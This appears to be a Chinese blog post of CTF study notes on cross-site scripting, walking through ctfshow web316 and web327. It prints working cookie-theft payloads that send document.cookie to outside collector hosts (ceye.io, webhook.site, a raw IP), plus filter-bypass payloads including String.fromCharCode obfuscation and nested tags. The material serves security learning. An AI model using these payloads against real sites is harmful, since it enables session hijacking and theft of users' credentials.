XSS

什么是XSS漏洞

​ XSS,即跨站脚本攻击,指用户将恶意JavaScript代码注入到网页当中,网页会执行这些恶意代码,从而形成漏洞。

​ 可以理解为网站的注入攻击,将恶意脚本注入到网页,别的用户访问时,浏览器就会对网页进行解析执行,达到攻击网站的其它访问者。

​ 所以xss的攻击对象并不是网页,而是访问网页的人(盗取cookie啥的)。

XSS漏洞的分类

反射性XSS

​ 反射型XSS是非持久性、参数型跨站脚本。 ​ 此时js恶意代码是存在于某个参数中,通过url后缀进行get传入,当其他用户点进这个被精心构造的url链接时,恶意代码就会被解析,从而盗取用户信息。

​ 举个例子:

例题ctfshow_web316

Photo by Florian Klauer on Unsplash

​ 对于CTF的XSS题目来说,重要的不是如何注入js恶意代码,而是如何获取flag,刚刚上面讲了,XSS攻击的不是网站,盗取的不是网站的信息,而是访问页面的人。 ​ ctfshow的题目里有个机器人隔一段时间就会访问这个页面,解析你的pyload,这里它就充当了受害者,flag就在它的cookie中。

​ 所以,我们构造

1
2
3
<script>
var img=document.createElement("img"); img.src="网址"+document.cookie;
</script>

​ 意思就是,生成一个img对象,然后加载一张图片,并携带上当前的cookie,一并发往“网址”中 ​ 那么网址从哪儿来呢?

​ 这里有三个方法

1.自己的服务器

2.网上现有的平台,如CEYE - Monitor service for security testingWebhook.site - Test, transform and automate Web requests and emails

3.xss平台,如XSS Platform

​ 我没有自己的服务器,然后xss平台没有成功过,这里就用第二种方法

​ 值得注意的是,如果用的是ceye的话,这里才是正确的域名

Photo by Florian Klauer on Unsplash点击并拖拽以移动编辑

​ 如果用的是webhook,那么网站在这里

Photo by Florian Klauer on Unsplash点击并拖拽以移动编辑

​ 所以构造以下pyload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#如果是ceye

<script>
var img=document.createElement("img"); img.src="http://2fu4td.ceye.io/"+document.cookie;
</script>

#如果是webhook

<script>
var img=document.createElement("img"); img.src="https://webhook.site/50be7301-a916-4df1-a04f-3e4513569671"+document.cookie;
</script>

点击并拖拽以移动

Photo by Florian Klauer on Unsplash点击并拖拽以移动

Photo by Florian Klauer on Unsplash点击并拖拽以移动

​ 那么这道题目就解决啦

过滤手法

​ 常用的pyload有以下几种,还有的没写可以跳转 ​ ctfshow_web316-326_反射型XSS_ctfshow316-CSDN博客

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#script
<script>var img=document.createElement("img"); img.src="网址"+document.cookie;</script>

#body
<body onload="window.open('网址'+document.cookie)">

#input
<input onfocus="window.open('网址'+document.cookie)" autofocus>

#svg
<svg onload="window.open('http://....ceye.io/'+document.cookie)">


#什么意思不重要作用都是把cookie带去那个网站里
1
空格的话可以用Tab键,/**/、/、%09、tab代替
1
2
3
4
5
6
圆括号可以反引号和throw绕过

<script>alert`1`</script>

<video src onerror="javascript:window.onerror=alert;throw 1">
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
1
2
3
4
5
6
7
单引号过滤

斜杠替换
<script>alert(/xss/)</script>

反引号替换
<script>alert(`xss`)</script>
1
2
3
4
5
关键词绕过  这里主要还是看waf是怎么写的

大小写绕过()
嵌套绕过
<sc<script>ript>alert(/xss/)</sc</script>ript>
1
2
3
4
5
还可以用String.fromCharCode()进行ascii码转字符绕过
<body/**/οnlοad=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,49,50,48,46,52,54,46,52,49,46,49,55,51,47,74,97,121,49,55,47,49,50,55,46,112,104,112,63,99,111,111,107,105,101,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,60,47,115,99,114,105,112,116,62));>

ascii码转化之后就是
<script>document.location.href='http://120.46.41.173/Jay17/127.php?cookie='+document.cookie</script>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
字符转ascii

input_str = input("请输入字符串: ")  # 获取用户输入的字符串
ascii_list = []

# 遍历字符串,将每个字符转换为ASCII码,并添加到列表中
for char in input_str:
    ascii_code = ord(char)  # 使用ord()函数获取字符的ASCII码
    ascii_list.append(str(ascii_code))  # 将ASCII码转换为字符串并添加到列表

# 将列表中的ASCII码用逗号隔开,并打印结果
result = ','.join(ascii_list)
print("转换后的ASCII码:", result)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
ascii转字符

def ascii_to_string(ascii_str):
    # 将以逗号分隔的ASCII码字符串分割成一个列表
    ascii_list = ascii_str.split(',')

    # 使用列表推导式将ASCII码转换为字符,并连接成一个字符串
    result = ''.join(chr(int(code)) for code in ascii_list)
    return result


# 输入以逗号分隔的ASCII码字符串
ascii_str = input("请输入以逗号分隔的ASCII码字符串: ")

# 调用函数进行转换并打印结果
string_result = ascii_to_string(ascii_str)
print("转换后的字符串:", string_result)

存储型XSS

​ 存储型XSS字如其名,js代码会被存储在网页的数据库中,比如说留言板。这类XSS漏洞的危害较大,只要用户查看了恶意用户的留言,就会被盗取信息

​ 实现方法其实差不多,这里不多赘述

​ 不过在ctfshow里,该类型的题目还有点绕,这里也举一个例子

例题ctfshow_web327

Photo by Florian Klauer on Unsplash点击并拖拽以移动

​ 过一遍所有可能的功能之后,发现有登录系统,注册系统,查看用户等功能

​ 我们注册用户,用户名随便,密码使用构造的js代码,然后用这个登录账号和密码登录,之后会接受到,我们得到这个cookie之后,替换掉我们的cookie

​ js代码用上面给过的就行

Photo by Florian Klauer on Unsplash点击并拖拽以移动

Photo by Florian Klauer on Unsplash点击并拖拽以移动

DOM型XSS

​ DOM是文档对象模型,JavaScript会按照这个模型对界面进行增删改查。DOM型XSS就是修改页面中的DOM树,并不会传到服务器中,所以DOM型XSS是一种纯粹的前端漏洞,通常也是通过构造url实现

​ 额,ctfshow里并没有类似的题目,这里也就不多赘述了

小结

​ XSS漏洞大概就是这样,学习的时候遇到的大难点就是如何把cookie带出来,研究了很久也是差不多结束了。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计